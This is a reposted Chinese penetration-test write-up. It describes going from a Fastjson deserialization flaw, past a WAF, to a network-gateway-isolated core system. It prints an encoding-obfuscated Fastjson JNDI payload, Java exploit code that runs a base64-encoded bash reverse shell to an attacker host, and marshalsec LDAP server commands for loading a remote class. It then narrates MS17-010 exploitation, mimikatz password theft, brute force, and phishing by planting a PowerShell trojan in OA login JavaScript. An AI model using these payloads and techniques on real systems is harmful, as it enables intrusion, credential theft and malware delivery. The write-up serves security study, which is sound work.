从Fastjson绕WAF到打穿网闸

Posted 黑白之道

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了从Fastjson绕WAF到打穿网闸相关的知识,希望对你有一定的参考价值。

文章来源:酒仙桥六号部队

前言

记述一次授权测试中对某企业进行测试。

PS:渗透过程中的任何敏感信息均已做过脱敏处理,如有雷同,纯属巧合。

从Fastjson绕WAF到打穿网闸


外网渗透

从Fastjson绕WAF到打穿网闸

通过资产收集,发现了一个XX平台,验证码特别难识别,就没有了爆破的念头。

从Fastjson绕WAF到打穿网闸

从Fastjson绕WAF到打穿网闸

抓包看发现参数的传递使用了JSON格式。

从Fastjson绕WAF到打穿网闸

祭出一个Fastjosn检测的poc,网站把报错页面做了隐藏,只能进行盲打。

从Fastjson绕WAF到打穿网闸

从Fastjson绕WAF到打穿网闸

网站使用了防火墙,payload被拦截,通过修改编码的方式,查看能否绕过。

绕过poc:

{"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://127.0.0.1/","autoCommit":true}}

VPS开启监听,发送数据包。

从Fastjson绕WAF到打穿网闸

VPS收到了请求。

从Fastjson绕WAF到打穿网闸

验证可以绕过防火墙,并且可以出网后,编译EXP,反弹会话,写入webshell。

从Fastjson绕WAF到打穿网闸

从Fastjson绕WAF到打穿网闸

翻数据库,找账户密码,登陆上来“XX平台”,发现该平台只是一个监测平台,并未获取到太多有价值的信息。


Fastjson反序列化漏洞利用描述

从Fastjson绕WAF到打穿网闸

漏洞影响范围

Fastjson爆出的绕过方法可以通杀1.2.68版本以下所有。

漏洞利用

从Fastjson绕WAF到打穿网闸

编译EXP;

使用javac将代码编写为class类文件;

并将生成的类文件放在web目录下,启动web服务。

public class exec{ public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvXLEE23UwLjY4Lzk5OTUgMD4mMQ==}|{base64,-d}|{bash,-i}").waitFor();
}
}

备注:修改要执行的命令。

bash -c {echo, YmFzaCAtaSA+JiAvXLEE23UwLjY4Lzk5OTUgMD4mMQ==}|{base64,-d}|{bash,-i}

配置RMi环境

需要借助marshalsec项目,启动一个RMI服务器,监听53端口,并加载远程类(需要java 8环境)。

安装maven

yum install -y maven

切换到marshalsec目录下使用maven进行打包,

mvn clean package -DskipTests。

开启监听:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx.:53/#evil2


反弹shell

从Fastjson绕WAF到打穿网闸

把网站json数据包替换,然后发包,VPS即可收到。

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap:// http://xx.xx.xx.xx:53/#evil2","autoCommit":true}}}


内网渗透

从Fastjson绕WAF到打穿网闸

查看IP,为10网段。

从Fastjson绕WAF到打穿网闸

上线NPS,挂反向代理进入内网。对内网进行扫描,扫描了网段的所有网站的TITLE和MS17-010漏洞。

从Fastjson绕WAF到打穿网闸

扫描了一圈下来,只发现2台可以打的机器,启动msf,执行POWERSHELL命令反弹回话到C2服务器。

从Fastjson绕WAF到打穿网闸

使用mimikatz抓取密码,抓取到密码为 PasswOrd,登陆其中一台服务器。

从Fastjson绕WAF到打穿网闸

考虑到当前网段机器linux比较多,上传超级弱口令检测工具去爆破。使用123456口令去爆破SSH,使用抓到的密码去爆破Windows。

从Fastjson绕WAF到打穿网闸

登陆爆破出来的Windows服务器,没发现存在域,linux机器发现这些机器上面无敏感信息,并且都是10网段,查看扫描出来的title,发现了某OA。利用公开的EXP获取了一个webshell。

从Fastjson绕WAF到打穿网闸

从Fastjson绕WAF到打穿网闸

由于数据库文件无法解密,在服务器植入了“更新控件.bat”木马(C2的powershell马)。通过修改网页JS,登陆提示下载更新OA控件,尝试进行钓鱼。

从Fastjson绕WAF到打穿网闸

从Fastjson绕WAF到打穿网闸

姜太公钓鱼,愿者上钩。大概过了半个小时左右,开始有鱼儿上钩了。

从Fastjson绕WAF到打穿网闸

在OA服务器上挂了NPS,摸了会“鱼”,这些机器都不存在域控环境,所以推测该内网里面应该不存在域。

从Fastjson绕WAF到打穿网闸

又摸了好多好多“鱼”,在一台运维人员的机器上看到了云平台维护手册。

从Fastjson绕WAF到打穿网闸

用获取的帐号密码登陆,登陆到云平台上。

从Fastjson绕WAF到打穿网闸

本以为当场下班了。

从Fastjson绕WAF到打穿网闸

结果搜索目标系统,发现该系统不在云平台上,有点失望o(╥﹏╥)o

从Fastjson绕WAF到打穿网闸

重新去整理钓鱼收集到的信息,在另外一台PC机器上,发现了网闸采购文档。推断,目标系统应该是放在了网闸后面。搜索当前机器文档,发现了网闸使用手册。

从Fastjson绕WAF到打穿网闸

从Fastjson绕WAF到打穿网闸

进行路由配置, 配置了网闸后面的网段,进去了隔离的192.x.x.x网段。

对网段进行扫描,发现了目标核心系统。

从Fastjson绕WAF到打穿网闸

以前收集的资料都未发现该系统信息,该系统太多的详细信息。简单的暴破密码,无果。 审计网页的js文件找到一下载接口,估计是用来下载文档用的。利用../测试后发现存在任意文件读取漏洞。

从Fastjson绕WAF到打穿网闸

从config文件中找到了数据库的配置文件;

从Fastjson绕WAF到打穿网闸

利用读出来的账号连接进数据库;

从Fastjson绕WAF到打穿网闸

在数据库中找到账号密码,成功进入目标系统。

从Fastjson绕WAF到打穿网闸

至此,整个渗透测试项目就结束了。

从Fastjson绕WAF到打穿网闸

小结

从Fastjson绕WAF到打穿网闸
  1. 通过外网资产收集发现了一个XX平台。

  2. 测试XX平台发现存在Fastjson漏洞,但是被waf拦截了payload。

  3. 通过修改编码绕过waf,成功getshell,测试机器是否可以出网,找配置文件登录后台,并未发现敏感信息。

  4. 上线nps转发流量,对内网进行扫描,发现存在ms17-010漏洞,直接上线CS。

  5. 通过跑弱密码与title横向移动,找到一个OA系统,通过公开的exp拿到shell,发现数据库密码无法解密,于是编写js文件,诱导用户下载powershell的bat木马,成功上线多台主机。

  6. 翻阅上线的主机资料,找到了云平台密码,但并未发现目标系统。重新整理上线的主机,终于在一台运维的机器上找到了网闸的配置文档。

  7. 登录网闸,找到目标系统,对其进行渗透,审计js发现任意文件下载漏洞,下载源代码,审计源码找到数据库配置文件,登录数据库找到账号密码,最终成功登陆目标系统。

    从Fastjson绕WAF到打穿网闸

以上是关于从Fastjson绕WAF到打穿网闸的主要内容,如果未能解决你的问题,请参考以下文章

记一次Fuzz绕WAF实现SQL 注入

绕WAF&安全狗新姿势

对Java反序列化数据绕WAF新姿势的补充

对Java反序列化数据绕WAF新姿势的补充

对Java反序列化数据绕WAF新姿势的补充

sql各种姿势绕waf